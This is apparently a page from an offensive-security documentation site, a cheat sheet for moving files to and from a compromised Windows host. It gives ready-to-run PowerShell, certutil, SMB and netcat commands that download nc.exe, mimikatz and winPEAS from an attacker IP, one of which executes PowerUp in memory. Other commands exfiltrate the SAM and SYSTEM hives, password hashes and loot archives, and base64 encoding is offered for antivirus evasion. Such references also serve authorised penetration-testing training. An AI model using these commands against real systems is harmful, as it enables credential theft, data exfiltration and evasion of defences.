Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

HTTP (TCP 80)

Python Web Server (Attacker)

python3 -m http.server 80

PowerShell: Invoke-WebRequest

powershell -c "iwr http://10.10.10.10/nc.exe -OutFile C:\Windows\Temp\nc.exe"
powershell -c "iwr http://10.10.10.10/mimikatz.exe -OutFile mimikatz.exe"
powershell -c "iwr http://10.10.10.10/winPEAS.exe -OutFile winPEAS.exe"
Execute in memory:
powershell -ep bypass -c "iex(iwr http://10.10.10.10/powerup.ps1 -UseBasicParsing)"

PowerShell: WebClient (Stealthier)

powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/nc.exe','nc.exe')"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/mimikatz.exe','mimikatz.exe')"

Certutil (CMD LOLBIN)

certutil -urlcache -split -f http://10.10.10.10/nc.exe nc.exe
certutil -urlcache -split -f http://10.10.10.10/mimikatz.exe mimikatz.exe
certutil -urlcache -split -f http://10.10.10.10/winPEAS.exe winPEAS.exe

SMB (TCP 139 / 445)

Attacker

impacket-smbserver share . -smb2support

Victim Download

copy \\10.10.10.10\share\nc.exe nc.exe
copy \\10.10.10.10\share\mimikatz.exe mimikatz.exe
copy \\10.10.10.10\share\winPEAS.exe winPEAS.exe
PowerShell:
New-PSDrive -Name p -PSProvider FileSystem -Root \\10.10.10.10\share
copy p:\nc.exe .
copy p:\mimikatz.exe .

Upload Loot

copy SAM \\10.10.10.10\share\
copy SYSTEM \\10.10.10.10\share\
copy hashes.txt \\10.10.10.10\share\

HTTPS (TCP 443)

Attacker

python3 -m http.server 443

Victim

powershell -c "iwr https://10.10.10.10/nc.exe -OutFile nc.exe"

Netcat Raw Transfer (TCP 4444)

Upload to victim (push)

Attacker:
nc -lvnp 4444 < mimikatz.exe
Victim:
nc 10.10.10.10 4444 > mimikatz.exe

Download from victim (exfil)

Attacker:
nc -lvnp 4444 > loot.zip
Victim:
nc 10.10.10.10 4444 < C:\Users\Public\loot.zip

Base64 Transfer (AV Evasion / Restricted Shell)

Attacker

base64 mimikatz.exe > mimikatz.b64
Serve:
python3 -m http.server 80

Victim

certutil -urlcache -f http://10.10.10.10/mimikatz.b64 mimikatz.b64
certutil -decode mimikatz.b64 mimikatz.exe